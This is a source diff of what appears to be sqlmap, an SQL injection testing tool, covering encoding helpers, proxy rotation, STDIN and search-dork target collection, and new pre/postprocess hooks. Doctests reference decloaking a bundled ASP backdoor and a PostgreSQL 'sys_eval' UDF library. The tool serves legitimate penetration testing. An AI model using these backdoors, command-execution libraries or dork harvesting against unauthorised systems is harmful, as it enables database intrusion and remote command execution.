retVal = "`%s`" % retVal
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE):
|
||||
retVal = "\"%s\"" % retVal
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL):
|
||||
retVal = "\"%s\"" % retVal.upper()
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
|
||||
if isTable:
|
||||
parts = retVal.split('.', 1)
|
||||
for i in xrange(len(parts)):
|
||||
if parts[i] and (re.search(r"\A\d|[^\w]", parts[i], re.U) or parts[i].upper() in kb.keywords):
|
||||
parts[i] = "[%s]" % parts[i]
|
||||
retVal = '.'.join(parts)
|
||||
else:
|
||||
if re.search(r"\A\d|[^\w]", retVal, re.U) or retVal.upper() in kb.keywords:
|
||||
retVal = "[%s]" % retVal
|
||||
|
||||
if _ and DEFAULT_MSSQL_SCHEMA not in retVal and '.' not in re.sub(r"\[[^]]+\]", "", retVal):
|
||||
retVal = "%s.%s" % (DEFAULT_MSSQL_SCHEMA, retVal)
|
||||
@@ -4696,7 +4780,7 @@ def serializeObject(object_):
|
||||
"""
|
||||
Serializes given object
|
||||
|
||||
>>> type(serializeObject([1, 2, 3, ('a', 'b')])) == six.binary_type
|
||||
>>> type(serializeObject([1, 2, 3, ('a', 'b')])) == str
|
||||
True
|
||||
"""
|
||||
|
||||
@@ -4926,6 +5010,14 @@ def decloakToTemp(filename):
|
||||
>>> openFile(_, "rb", encoding=None).read().startswith(b'<%')
|
||||
True
|
||||
>>> os.remove(_)
|
||||
>>> _ = decloakToTemp(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoors", "backdoor.asp_"))
|
||||
>>> openFile(_, "rb", encoding=None).read().startswith(b'<%')
|
||||
True
|
||||
>>> os.remove(_)
|
||||
>>> _ = decloakToTemp(os.path.join(paths.SQLMAP_UDF_PATH, "postgresql", "linux", "64", "11", "lib_postgresqludf_sys.so_"))
|
||||
>>> b'sys_eval' in openFile(_, "rb", encoding=None).read()
|
||||
True
|
||||
>>> os.remove(_)
|
||||
"""
|
||||
|
||||
content = decloak(filename)
|
||||
@@ -4959,6 +5051,12 @@ def getRequestHeader(request, name):
|
||||
Solving an issue with an urllib2 Request header case sensitivity
|
||||
|
||||
# Reference: http://bugs.python.org/issue2275
|
||||
|
||||
>>> _ = lambda _: _
|
||||
>>> _.headers = {"FOO": "BAR"}
|
||||
>>> _.header_items = lambda: _.headers.items()
|
||||
>>> getText(getRequestHeader(_, "foo"))
|
||||
'BAR'
|
||||
"""
|
||||
|
||||
retVal = None
|
||||
@@ -5056,6 +5154,13 @@ def pollProcess(process, suppress_errors=False):
|
||||
def parseRequestFile(reqFile, checkParams=True):
|
||||
"""
|
||||
Parses WebScarab and Burp logs and adds results to the target URL list
|
||||
|
||||
>>> handle, reqFile = tempfile.mkstemp(suffix=".req")
|
||||
>>> content = b"POST / HTTP/1.0\\nUser-agent: foobar\\nHost: www.example.com\\n\\nid=1\\n"
|
||||
>>> _ = os.write(handle, content)
|
||||
>>> os.close(handle)
|
||||
>>> next(parseRequestFile(reqFile)) == ('http://www.example.com:80/', 'POST', 'id=1', None, (('User-agent', 'foobar'), ('Host', 'www.example.com')))
|
||||
True
|
||||
"""
|
||||
|
||||
def _parseWebScarabLog(content):
|
||||
@@ -5198,7 +5303,7 @@ def parseRequestFile(reqFile, checkParams=True):
|
||||
params = True
|
||||
|
||||
# Avoid proxy and connection type related headers
|
||||
elif key not in (HTTP_HEADER.PROXY_CONNECTION, HTTP_HEADER.CONNECTION):
|
||||
elif key not in (HTTP_HEADER.PROXY_CONNECTION, HTTP_HEADER.CONNECTION, HTTP_HEADER.IF_MODIFIED_SINCE, HTTP_HEADER.IF_NONE_MATCH):
|
||||
headers.append((getUnicode(key), getUnicode(value)))
|
||||
|
||||
if kb.customInjectionMark in re.sub(PROBLEMATIC_CUSTOM_INJECTION_PATTERNS, "", value or ""):
|
||||
|
||||
@@ -48,16 +48,16 @@ def base64pickle(value):
|
||||
retVal = None
|
||||
|
||||
try:
|
||||
retVal = encodeBase64(pickle.dumps(value, PICKLE_PROTOCOL))
|
||||
retVal = encodeBase64(pickle.dumps(value, PICKLE_PROTOCOL), binary=False)
|
||||
except:
|
||||
warnMsg = "problem occurred while serializing "
|
||||
warnMsg += "instance of a type '%s'" % type(value)
|
||||
singleTimeWarnMessage(warnMsg)
|
||||
|
||||
try:
|
||||
retVal = encodeBase64(pickle.dumps(value))
|
||||
retVal = encodeBase64(pickle.dumps(value), binary=False)
|
||||
except:
|
||||
retVal = encodeBase64(pickle.dumps(str(value), PICKLE_PROTOCOL))
|
||||
retVal = encodeBase64(pickle.dumps(str(value), PICKLE_PROTOCOL), binary=False)
|
||||
|
||||
return retVal
|
||||
|
||||
@@ -95,7 +95,7 @@ def htmlUnescape(value):
|
||||
|
||||
try:
|
||||
retVal = re.sub(r"&#x([^ ;]+);", lambda match: _unichr(int(match.group(1), 16)), retVal)
|
||||
except ValueError:
|
||||
except (ValueError, OverflowError):
|
||||
pass
|
||||
|
||||
return retVal
|
||||
@@ -198,8 +198,32 @@ def decodeBase64(value, binary=True, encoding=None):
|
||||
True
|
||||
>>> decodeBase64("MTIz", binary=False)
|
||||
'123'
|
||||
>>> decodeBase64("A-B_CDE") == decodeBase64("A+B/CDE")
|
||||
True
|
||||
>>> decodeBase64(b"MTIzNA") == b"1234"
|
||||
True
|
||||
>>> decodeBase64("MTIzNA") == b"1234"
|
||||
True
|
||||
>>> decodeBase64("MTIzNA==") == b"1234"
|
||||
True
|
||||
"""
|
||||
|
||||
if value is None:
|
||||
return None
|
||||
|
||||
padding = b'=' if isinstance(value, bytes) else '='
|
||||
|
||||
# Reference: https://stackoverflow.com/a/49459036
|
||||
if not value.endswith(padding):
|
||||
value += 3 * padding
|
||||
|
||||
# Reference: https://en.wikipedia.org/wiki/Base64#URL_applications
|
||||
# Reference: https://perldoc.perl.org/MIME/Base64.html
|
||||
if isinstance(value, bytes):
|
||||
value = value.replace(b'-', b'+').replace(b'_', b'/')
|
||||
else:
|
||||
value = value.replace('-', '+').replace('_', '/')
|
||||
|
||||
retVal = base64.b64decode(value)
|
||||
|
||||
if not binary:
|
||||
@@ -207,16 +231,23 @@ def decodeBase64(value, binary=True, encoding=None):
|
||||
|
||||
return retVal
|
||||
|
||||
def encodeBase64(value, binary=True, encoding=None):
|
||||
def encodeBase64(value, binary=True, encoding=None, padding=True, safe=False):
|
||||
"""
|
||||
Returns a decoded representation of provided Base64 value
|
||||
|
||||
>>> encodeBase64(b"123") == b"MTIz"
|
||||
True
|
||||
>>> encodeBase64(u"123", binary=False)
|
||||
'MTIz'
|
||||
>>> encodeBase64(u"1234", binary=False)
|
||||
'MTIzNA=='
|
||||
>>> encodeBase64(u"1234", binary=False, padding=False)
|
||||
'MTIzNA'
|
||||
>>> encodeBase64(decodeBase64("A-B_CDE"), binary=False, safe=True)
|
||||
'A-B_CDE'
|
||||
"""
|
||||
|
||||
if value is None:
|
||||
return None
|
||||
|
||||
if isinstance(value, six.text_type):
|
||||
value = value.encode(encoding or UNICODE_ENCODING)
|
||||
|
||||
@@ -225,6 +256,19 @@ def encodeBase64(value, binary=True, encoding=None):
|
||||
if not binary:
|
||||
retVal = getText(retVal, encoding)
|
||||
|
||||
if safe:
|
||||
padding = False
|
||||
|
||||
# Reference: https://en.wikipedia.org/wiki/Base64#URL_applications
|
||||
# Reference: https://perldoc.perl.org/MIME/Base64.html
|
||||
if isinstance(retVal, bytes):
|
||||
retVal = retVal.replace(b'+', b'-').replace(b'/', b'_')
|
||||
else:
|
||||
retVal = retVal.replace('+', '-').replace('/', '_')
|
||||
|
||||
if not padding:
|
||||
retVal = retVal.rstrip(b'=' if isinstance(retVal, bytes) else '=')
|
||||
|
||||
return retVal
|
||||
|
||||
def getBytes(value, encoding=None, errors="strict", unsafe=True):
|
||||
@@ -256,7 +300,10 @@ def getBytes(value, encoding=None, errors="strict", unsafe=True):
|
||||
if unsafe:
|
||||
retVal = re.sub(r"%s([0-9a-f]{2})" % SAFE_HEX_MARKER, lambda _: decodeHex(_.group(1)), retVal)
|
||||
else:
|
||||
retVal = value.encode(encoding, errors)
|
||||
try:
|
||||
retVal = value.encode(encoding, errors)
|
||||
except UnicodeError:
|
||||
retVal = value.encode(UNICODE_ENCODING, errors="replace")
|
||||
|
||||
if unsafe:
|
||||
retVal = re.sub(b"\\\\x([0-9a-f]{2})", lambda _: decodeHex(_.group(1)), retVal)
|
||||
|
||||
@@ -39,16 +39,19 @@ def cachedmethod(f):
|
||||
|
||||
@functools.wraps(f)
|
||||
def _f(*args, **kwargs):
|
||||
key = int(hashlib.md5("|".join(str(_) for _ in (f, args, kwargs)).encode(UNICODE_ENCODING)).hexdigest(), 16) & 0x7fffffffffffffff
|
||||
|
||||
try:
|
||||
with _cache_lock:
|
||||
result = _cache[f][key]
|
||||
except KeyError:
|
||||
key = int(hashlib.md5("|".join(str(_) for _ in (f, args, kwargs)).encode(UNICODE_ENCODING)).hexdigest(), 16) & 0x7fffffffffffffff
|
||||
except ValueError: # https://github.com/sqlmapproject/sqlmap/issues/4281 (NOTE: non-standard Python behavior where hexdigest returns binary value)
|
||||
result = f(*args, **kwargs)
|
||||
else:
|
||||
try:
|
||||
with _cache_lock:
|
||||
result = _cache[f][key]
|
||||
except KeyError:
|
||||
result = f(*args, **kwargs)
|
||||
|
||||
with _cache_lock:
|
||||
_cache[f][key] = result
|
||||
with _cache_lock:
|
||||
_cache[f][key] = result
|
||||
|
||||
return result
|
||||
|
||||
|
||||
@@ -15,6 +15,7 @@ _defaults = {
|
||||
"delay": 0,
|
||||
"timeout": 30,
|
||||
"retries": 3,
|
||||
"csrfRetries": 0,
|
||||
"saFreq": 0,
|
||||
"threads": 1,
|
||||
"level": 1,
|
||||
|
||||
@@ -72,7 +72,7 @@ class Dump(object):
|
||||
text = "%s%s" % (data, "\n" if newline else " ")
|
||||
|
||||
if conf.api:
|
||||
dataToStdout(data, content_type=content_type, status=CONTENT_STATUS.COMPLETE)
|
||||
dataToStdout(data, contentType=content_type, status=CONTENT_STATUS.COMPLETE)
|
||||
|
||||
elif console:
|
||||
dataToStdout(text)
|
||||
@@ -241,7 +241,7 @@ class Dump(object):
|
||||
lines = "-" * (int(maxlength) + 2)
|
||||
|
||||
for db, tables in dbTables.items():
|
||||
tables.sort()
|
||||
tables = sorted(filter(None, tables))
|
||||
|
||||
self._write("Database: %s" % unsafeSQLIdentificatorNaming(db) if db else "Current database")
|
||||
|
||||
|
||||
@@ -177,7 +177,7 @@ class HASH(object):
|
||||
SHA512_GENERIC = r'(?i)\A(0x)?[0-9a-f]{128}\Z'
|
||||
CRYPT_GENERIC = r'\A(?!\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\Z)(?![0-9]+\Z)[./0-9A-Za-z]{13}\Z'
|
||||
JOOMLA = r'\A[0-9a-f]{32}:\w{32}\Z'
|
||||
WORDPRESS = r'\A\$P\$[./0-9a-zA-Z]{31}\Z'
|
||||
PHPASS = r'\A\$[PHQS]\$[./0-9a-zA-Z]{31}\Z'
|
||||
APACHE_MD5_CRYPT = r'\A\$apr1\$.{1,8}\$[./a-zA-Z0-9]+\Z'
|
||||
UNIX_MD5_CRYPT = r'\A\$1\$.{1,8}\$[./a-zA-Z0-9]+\Z'
|
||||
APACHE_SHA1 = r'\A\{SHA\}[a-zA-Z0-9+/]+={0,2}\Z'
|
||||
@@ -239,6 +239,7 @@ class HTTP_HEADER(object):
|
||||
EXPIRES = "Expires"
|
||||
HOST = "Host"
|
||||
IF_MODIFIED_SINCE = "If-Modified-Since"
|
||||
IF_NONE_MATCH = "If-None-Match"
|
||||
LAST_MODIFIED = "Last-Modified"
|
||||
LOCATION = "Location"
|
||||
PRAGMA = "Pragma"
|
||||
|
||||
@@ -8,6 +8,7 @@ See the file 'LICENSE' for copying permission
|
||||
from __future__ import division
|
||||
|
||||
import codecs
|
||||
import collections
|
||||
import functools
|
||||
import glob
|
||||
import inspect
|
||||
@@ -93,7 +94,6 @@ from lib.core.exception import SqlmapInstallationException
|
||||
from lib.core.exception import SqlmapMissingDependence
|
||||
from lib.core.exception import SqlmapMissingMandatoryOptionException
|
||||
from lib.core.exception import SqlmapMissingPrivileges
|
||||
from lib.core.exception import SqlmapNoneDataException
|
||||
from lib.core.exception import SqlmapSilentQuitException
|
||||
from lib.core.exception import SqlmapSyntaxException
|
||||
from lib.core.exception import SqlmapSystemException
|
||||
@@ -371,7 +371,7 @@ def _doSearch():
|
||||
|
||||
for link in links:
|
||||
link = urldecode(link)
|
||||
if re.search(r"(.*?)\?(.+)", link):
|
||||
if re.search(r"(.*?)\?(.+)", link) or conf.forms:
|
||||
kb.targets.add((link, conf.method, conf.data, conf.cookie, None))
|
||||
elif re.search(URI_INJECTABLE_REGEX, link, re.I):
|
||||
if kb.data.onlyGETs is None and conf.data is None and not conf.googleDork:
|
||||
@@ -387,14 +387,18 @@ def _doSearch():
|
||||
|
||||
if kb.targets:
|
||||
infoMsg = "found %d results for your " % len(links)
|
||||
infoMsg += "search dork expression, "
|
||||
infoMsg += "search dork expression"
|
||||
|
||||
if len(links) == len(kb.targets):
|
||||
infoMsg += "all "
|
||||
else:
|
||||
infoMsg += "%d " % len(kb.targets)
|
||||
if not conf.forms:
|
||||
infoMsg += ", "
|
||||
|
||||
if len(links) == len(kb.targets):
|
||||
infoMsg += "all "
|
||||
else:
|
||||
infoMsg += "%d " % len(kb.targets)
|
||||
|
||||
infoMsg += "of them are testable targets"
|
||||
|
||||
infoMsg += "of them are testable targets"
|
||||
logger.info(infoMsg)
|
||||
break
|
||||
|
||||
@@ -409,6 +413,37 @@ def _doSearch():
|
||||
else:
|
||||
conf.googlePage += 1
|
||||
|
||||
def _setStdinPipeTargets():
|
||||
if isinstance(conf.stdinPipe, collections.Iterable):
|
||||
infoMsg = "using 'STDIN' for parsing targets list"
|
||||
logger.info(infoMsg)
|
||||
|
||||
class _(object):
|
||||
def __init__(self):
|
||||
self.__rest = OrderedSet()
|
||||
|
||||
def __iter__(self):
|
||||
return self
|
||||
|
||||
def __next__(self):
|
||||
return self.next()
|
||||
|
||||
def next(self):
|
||||
line = next(conf.stdinPipe)
|
||||
if line:
|
||||
match = re.search(r"\b(https?://[^\s'\"]+|[\w.]+\.\w{2,3}[/\w+]*\?[^\s'\"]+)", line, re.I)
|
||||
if match:
|
||||
return (match.group(0), conf.method, conf.data, conf.cookie, None)
|
||||
elif self.__rest:
|
||||
return self.__rest.pop()
|
||||
|
||||
raise StopIteration()
|
||||
|
||||
def add(self, elem):
|
||||
self.__rest.add(elem)
|
||||
|
||||
kb.targets = _()
|
||||
|
||||
def _setBulkMultipleTargets():
|
||||
if not conf.bulkFile:
|
||||
return
|
||||
@@ -428,7 +463,7 @@ def _setBulkMultipleTargets():
|
||||
if conf.scope and not re.search(conf.scope, line, re.I):
|
||||
continue
|
||||
|
||||
if re.match(r"[^ ]+\?(.+)", line, re.I) or kb.customInjectionMark in line:
|
||||
if re.match(r"[^ ]+\?(.+)", line, re.I) or kb.customInjectionMark in line or conf.data:
|
||||
found = True
|
||||
kb.targets.add((line.strip(), conf.method, conf.data, conf.cookie, None))
|
||||
|
||||
@@ -822,7 +857,7 @@ def _setTamperingFunctions():
|
||||
|
||||
def _setPreprocessFunctions():
|
||||
"""
|
||||
Loads preprocess functions from given script(s)
|
||||
Loads preprocess function(s) from given script(s)
|
||||
"""
|
||||
|
||||
if conf.preprocess:
|
||||
@@ -867,17 +902,95 @@ def _setPreprocessFunctions():
|
||||
raise SqlmapSyntaxException("cannot import preprocess module '%s' (%s)" % (getUnicode(filename[:-3]), getSafeExString(ex)))
|
||||
|
||||
for name, function in inspect.getmembers(module, inspect.isfunction):
|
||||
if name == "preprocess" and inspect.getargspec(function).args and all(_ in inspect.getargspec(function).args for _ in ("page", "headers", "code")):
|
||||
try:
|
||||
if name == "preprocess" and inspect.getargspec(function).args and all(_ in inspect.getargspec(function).args for _ in ("req",)):
|
||||
found = True
|
||||
|
||||
kb.preprocessFunctions.append(function)
|
||||
function.__name__ = module.__name__
|
||||
|
||||
break
|
||||
except ValueError: # Note: https://github.com/sqlmapproject/sqlmap/issues/4357
|
||||
pass
|
||||
|
||||
if not found:
|
||||
errMsg = "missing function 'preprocess(req)' "
|
||||
errMsg += "in preprocess script '%s'" % script
|
||||
raise SqlmapGenericException(errMsg)
|
||||
else:
|
||||
try:
|
||||
function(_urllib.request.Request("http://localhost"))
|
||||
except:
|
||||
handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.PREPROCESS, suffix=".py")
|
||||
os.close(handle)
|
||||
|
||||
openFile(filename, "w+b").write("#!/usr/bin/env\n\ndef preprocess(req):\n pass\n")
|
||||
openFile(os.path.join(os.path.dirname(filename), "__init__.py"), "w+b").write("pass")
|
||||
|
||||
errMsg = "function 'preprocess(req)' "
|
||||
errMsg += "in preprocess script '%s' " % script
|
||||
errMsg += "appears to be invalid "
|
||||
errMsg += "(Note: find template script at '%s')" % filename
|
||||
raise SqlmapGenericException(errMsg)
|
||||
|
||||
def _setPostprocessFunctions():
|
||||
"""
|
||||
Loads postprocess function(s) from given script(s)
|
||||
"""
|
||||
|
||||
if conf.postprocess:
|
||||
for script in re.split(PARAMETER_SPLITTING_REGEX, conf.postprocess):
|
||||
found = False
|
||||
function = None
|
||||
|
||||
script = safeFilepathEncode(script.strip())
|
||||
|
||||
try:
|
||||
if not script:
|
||||
continue
|
||||
|
||||
if not os.path.exists(script):
|
||||
errMsg = "postprocess script '%s' does not exist" % script
|
||||
raise SqlmapFilePathException(errMsg)
|
||||
|
||||
elif not script.endswith(".py"):
|
||||
errMsg = "postprocess script '%s' should have an extension '.py'" % script
|
||||
raise SqlmapSyntaxException(errMsg)
|
||||
except UnicodeDecodeError:
|
||||
errMsg = "invalid character provided in option '--postprocess'"
|
||||
raise SqlmapSyntaxException(errMsg)
|
||||
|
||||
dirname, filename = os.path.split(script)
|
||||
dirname = os.path.abspath(dirname)
|
||||
|
||||
infoMsg = "loading postprocess module '%s'" % filename[:-3]
|
||||
logger.info(infoMsg)
|
||||
|
||||
if not os.path.exists(os.path.join(dirname, "__init__.py")):
|
||||
errMsg = "make sure that there is an empty file '__init__.py' "
|
||||
errMsg += "inside of postprocess scripts directory '%s'" % dirname
|
||||
raise SqlmapGenericException(errMsg)
|
||||
|
||||
if dirname not in sys.path:
|
||||
sys.path.insert(0, dirname)
|
||||
|
||||
try:
|
||||
module = __import__(safeFilepathEncode(filename[:-3]))
|
||||
except Exception as ex:
|
||||
raise SqlmapSyntaxException("cannot import postprocess module '%s' (%s)" % (getUnicode(filename[:-3]), getSafeExString(ex)))
|
||||
|
||||
for name, function in inspect.getmembers(module, inspect.isfunction):
|
||||
if name == "postprocess" and inspect.getargspec(function).args and all(_ in inspect.getargspec(function).args for _ in ("page", "headers", "code")):
|
||||
found = True
|
||||
|
||||
kb.preprocessFunctions.append(function)
|
||||
kb.postprocessFunctions.append(function)
|
||||
function.__name__ = module.__name__
|
||||
|
||||
break
|
||||
|
||||
if not found:
|
||||
errMsg = "missing function 'preprocess(page, headers=None, code=None)' "
|
||||
errMsg += "in preprocess script '%s'" % script
|
||||
errMsg = "missing function 'postprocess(page, headers=None, code=None)' "
|
||||
errMsg += "in postprocess script '%s'" % script
|
||||
raise SqlmapGenericException(errMsg)
|
||||
else:
|
||||
try:
|
||||
@@ -886,11 +999,11 @@ def _setPreprocessFunctions():
|
||||
handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.PREPROCESS, suffix=".py")
|
||||
os.close(handle)
|
||||
|
||||
open(filename, "w+b").write("#!/usr/bin/env\n\ndef preprocess(page, headers=None, code=None):\n return page, headers, code\n")
|
||||
open(os.path.join(os.path.dirname(filename), "__init__.py"), "w+b").write("pass")
|
||||
openFile(filename, "w+b").write("#!/usr/bin/env\n\ndef postprocess(page, headers=None, code=None):\n return page, headers, code\n")
|
||||
openFile(os.path.join(os.path.dirname(filename), "__init__.py"), "w+b").write("pass")
|
||||
|
||||
errMsg = "function 'preprocess(page, headers=None, code=None)' "
|
||||
errMsg += "in preprocess script '%s' " % script
|
||||
errMsg = "function 'postprocess(page, headers=None, code=None)' "
|
||||
errMsg += "in postprocess script '%s' " % script
|
||||
errMsg += "should return a tuple '(page, headers, code)' "
|
||||
errMsg += "(Note: find template script at '%s')" % filename
|
||||
raise SqlmapGenericException(errMsg)
|
||||
@@ -979,16 +1092,13 @@ def _setHTTPHandlers():
|
||||
"""
|
||||
|
||||
with kb.locks.handlers:
|
||||
if conf.proxyList is not None:
|
||||
if not conf.proxyList:
|
||||
errMsg = "list of usable proxies is exhausted"
|
||||
raise SqlmapNoneDataException(errMsg)
|
||||
|
||||
if conf.proxyList:
|
||||
conf.proxy = conf.proxyList[0]
|
||||
conf.proxyList = conf.proxyList[1:]
|
||||
conf.proxyList = conf.proxyList[1:] + conf.proxyList[:1]
|
||||
|
||||
infoMsg = "loading proxy '%s' from a supplied proxy list file" % conf.proxy
|
||||
logger.info(infoMsg)
|
||||
if len(conf.proxyList) > 1:
|
||||
infoMsg = "loading proxy '%s' from a supplied proxy list file" % conf.proxy
|
||||
logger.info(infoMsg)
|
||||
|
||||
elif not conf.proxy:
|
||||
if conf.hostname in ("localhost", "127.0.0.1") or conf.ignoreProxy:
|
||||
@@ -1450,8 +1560,8 @@ def _createHomeDirectories():
|
||||
if conf.get("purge"):
|
||||
return
|
||||
|
||||
for context in "output", "history":
|
||||
directory = paths["SQLMAP_%s_PATH" % context.upper()]
|
||||
for context in ("output", "history"):
|
||||
directory = paths["SQLMAP_%s_PATH" % getUnicode(context).upper()] # NOTE: https://github.com/sqlmapproject/sqlmap/issues/4363
|
||||
try:
|
||||
if not os.path.isdir(directory):
|
||||
os.makedirs(directory)
|
||||
@@ -1553,7 +1663,8 @@ def _cleanupOptions():
|
||||
|
||||
for key, value in conf.items():
|
||||
if value and any(key.endswith(_) for _ in ("Path", "File", "Dir")):
|
||||
conf[key] = safeExpandUser(value)
|
||||
if isinstance(value, str):
|
||||
conf[key] = safeExpandUser(value)
|
||||
|
||||
if conf.testParameter:
|
||||
conf.testParameter = urldecode(conf.testParameter)
|
||||
@@ -1580,7 +1691,7 @@ def _cleanupOptions():
|
||||
|
||||
if conf.base64Parameter:
|
||||
conf.base64Parameter = urldecode(conf.base64Parameter)
|
||||
conf.base64Parameter = conf.base64Parameter.replace(" ", "")
|
||||
conf.base64Parameter = conf.base64Parameter.strip()
|
||||
conf.base64Parameter = re.split(PARAMETER_SPLITTING_REGEX, conf.base64Parameter)
|
||||
else:
|
||||
conf.base64Parameter = []
|
||||
@@ -1762,6 +1873,8 @@ def _cleanupOptions():
|
||||
if not regex:
|
||||
conf.exclude = re.sub(r"\s*,\s*", ',', conf.exclude)
|
||||
conf.exclude = r"\A%s\Z" % '|'.join(re.escape(_) for _ in conf.exclude.split(','))
|
||||
else:
|
||||
conf.exclude = re.sub(r"(\w+)\$", r"\g<1>\$", conf.exclude)
|
||||
|
||||
if conf.binaryFields:
|
||||
conf.binaryFields = conf.binaryFields.replace(" ", "")
|
||||
@@ -1856,6 +1969,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
|
||||
kb.arch = None
|
||||
kb.authHeader = None
|
||||
kb.bannerFp = AttribDict()
|
||||
kb.base64Originals = {}
|
||||
kb.binaryField = False
|
||||
kb.browserVerification = None
|
||||
|
||||
@@ -1867,6 +1981,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
|
||||
kb.cache.content = {}
|
||||
kb.cache.encoding = {}
|
||||
kb.cache.alphaBoundaries = None
|
||||
kb.cache.hashRegex = None
|
||||
kb.cache.intBoundaries = None
|
||||
kb.cache.parsedDbms = {}
|
||||
kb.cache.regex = {}
|
||||
@@ -1916,6 +2031,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
|
||||
kb.errorIsNone = True
|
||||
kb.falsePositives = []
|
||||
kb.fileReadMode = False
|
||||
kb.fingerprinted = False
|
||||
kb.followSitemapRecursion = None
|
||||
kb.forcedDbms = None
|
||||
kb.forcePartialUnion = False
|
||||
@@ -1942,12 +2058,12 @@ def _setKnowledgeBaseAttributes(flushAll=True):
|
||||
kb.identifiedWafs = set()
|
||||
kb.injection = InjectionDict()
|
||||
kb.injections = []
|
||||
kb.jsonAggMode = False
|
||||
kb.laggingChecked = False
|
||||
kb.lastParserStatus = None
|
||||
kb.lastCtrlCTime = None
|
||||
|
||||
kb.locks = AttribDict()
|
||||
for _ in ("cache", "connError", "count", "handlers", "hint", "index", "io", "limit", "log", "socket", "redirect", "request", "value"):
|
||||
for _ in ("cache", "connError", "count", "handlers", "hint", "index", "io", "limit", "liveCookies", "log", "socket", "redirect", "request", "value"):
|
||||
kb.locks[_] = threading.Lock()
|
||||
|
||||
kb.matchRatio = None
|
||||
@@ -1955,6 +2071,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
|
||||
kb.mergeCookies = None
|
||||
kb.multipleCtrlC = False
|
||||
kb.negativeLogic = False
|
||||
kb.nchar = True
|
||||
kb.nullConnection = None
|
||||
kb.oldMsf = None
|
||||
kb.orderByColumns = None
|
||||
@@ -1997,7 +2114,6 @@ def _setKnowledgeBaseAttributes(flushAll=True):
|
||||
kb.responseTimeMode = None
|
||||
kb.responseTimePayload = None
|
||||
kb.resumeValues = True
|
||||
kb.rowXmlMode = False
|
||||
kb.safeCharEncode = False
|
||||
kb.safeReq = AttribDict()
|
||||
kb.secondReq = None
|
||||
@@ -2006,10 +2122,11 @@ def _setKnowledgeBaseAttributes(flushAll=True):
|
||||
kb.skipSeqMatcher = False
|
||||
kb.smokeMode = False
|
||||
kb.reduceTests = None
|
||||
kb.tlsSNI = {}
|
||||
kb.sslSuccess = False
|
||||
kb.stickyDBMS = False
|
||||
kb.storeHashesChoice = None
|
||||
kb.suppressResumeInfo = False
|
||||
kb.tableExistsChoice = None
|
||||
kb.tableFrom = None
|
||||
kb.technique = None
|
||||
kb.tempDir = None
|
||||
@@ -2019,7 +2136,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
|
||||
kb.testType = None
|
||||
kb.threadContinue = True
|
||||
kb.threadException = False
|
||||
kb.tableExistsChoice = None
|
||||
kb.tlsSNI = {}
|
||||
kb.uChar = NULL
|
||||
kb.udfFail = False
|
||||
kb.unionDuplicates = False
|
||||
@@ -2032,8 +2149,10 @@ def _setKnowledgeBaseAttributes(flushAll=True):
|
||||
kb.checkSitemap = None
|
||||
kb.headerPaths = {}
|
||||
kb.keywords = set(getFileItems(paths.SQL_KEYWORDS))
|
||||
kb.lastCtrlCTime = None
|
||||
kb.normalizeCrawlingChoice = None
|
||||
kb.passwordMgr = None
|
||||
kb.postprocessFunctions = []
|
||||
kb.preprocessFunctions = []
|
||||
kb.skipVulnHost = None
|
||||
kb.storeCrawlingChoice = None
|
||||
@@ -2060,11 +2179,11 @@ def _useWizardInterface():
|
||||
message = "Please enter full target URL (-u): "
|
||||
conf.url = readInput(message, default=None)
|
||||
|
||||
message = "%s data (--data) [Enter for None]: " % ((conf.method if conf.method != HTTPMETHOD.GET else conf.method) or HTTPMETHOD.POST)
|
||||
message = "%s data (--data) [Enter for None]: " % ((conf.method if conf.method != HTTPMETHOD.GET else None) or HTTPMETHOD.POST)
|
||||
conf.data = readInput(message, default=None)
|
||||
|
||||
if not (any('=' in _ for _ in (conf.url, conf.data)) or '*' in conf.url):
|
||||
warnMsg = "no GET and/or %s parameter(s) found for testing " % ((conf.method if conf.method != HTTPMETHOD.GET else conf.method) or HTTPMETHOD.POST)
|
||||
warnMsg = "no GET and/or %s parameter(s) found for testing " % ((conf.method if conf.method != HTTPMETHOD.GET else None) or HTTPMETHOD.POST)
|
||||
warnMsg += "(e.g. GET parameter 'id' in 'http://www.site.com/vuln.php?id=1'). "
|
||||
if not conf.crawlDepth and not conf.forms:
|
||||
warnMsg += "Will search for forms"
|
||||
@@ -2680,6 +2799,7 @@ def init():
|
||||
_listTamperingFunctions()
|
||||
_setTamperingFunctions()
|
||||
_setPreprocessFunctions()
|
||||
_setPostprocessFunctions()
|
||||
_setTrafficOutputFP()
|
||||
_setupHTTPCollector()
|
||||
_setHttpChunked()
|
||||
@@ -2687,7 +2807,7 @@ def init():
|
||||
|
||||
parseTargetDirect()
|
||||
|
||||
if any((conf.url, conf.logFile, conf.bulkFile, conf.requestFile, conf.googleDork)):
|
||||
if any((conf.url, conf.logFile, conf.bulkFile, conf.requestFile, conf.googleDork, conf.stdinPipe)):
|
||||
_setHostname()
|
||||
_setHTTPTimeout()
|
||||
_setHTTPExtraHeaders()
|
||||
@@ -2701,6 +2821,7 @@ def init():
|
||||
_setSocketPreConnect()
|
||||
_setSafeVisit()
|
||||
_doSearch()
|
||||
_setStdinPipeTargets()
|
||||
_setBulkMultipleTargets()
|
||||
_checkTor()
|
||||
_setCrawler()
|
||||
|
||||
@@ -27,6 +27,7 @@ optDict = {
|
||||
"paramDel": "string",
|
||||
"cookie": "string",
|
||||
"cookieDel": "string",
|
||||
"liveCookies": "string",
|
||||
"loadCookies": "string",
|
||||
"dropSetCookie": "boolean",
|
||||
"agent": "string",
|
||||
@@ -61,6 +62,7 @@ optDict = {
|
||||
"csrfToken": "string",
|
||||
"csrfUrl": "string",
|
||||
"csrfMethod": "string",
|
||||
"csrfRetries": "integer",
|
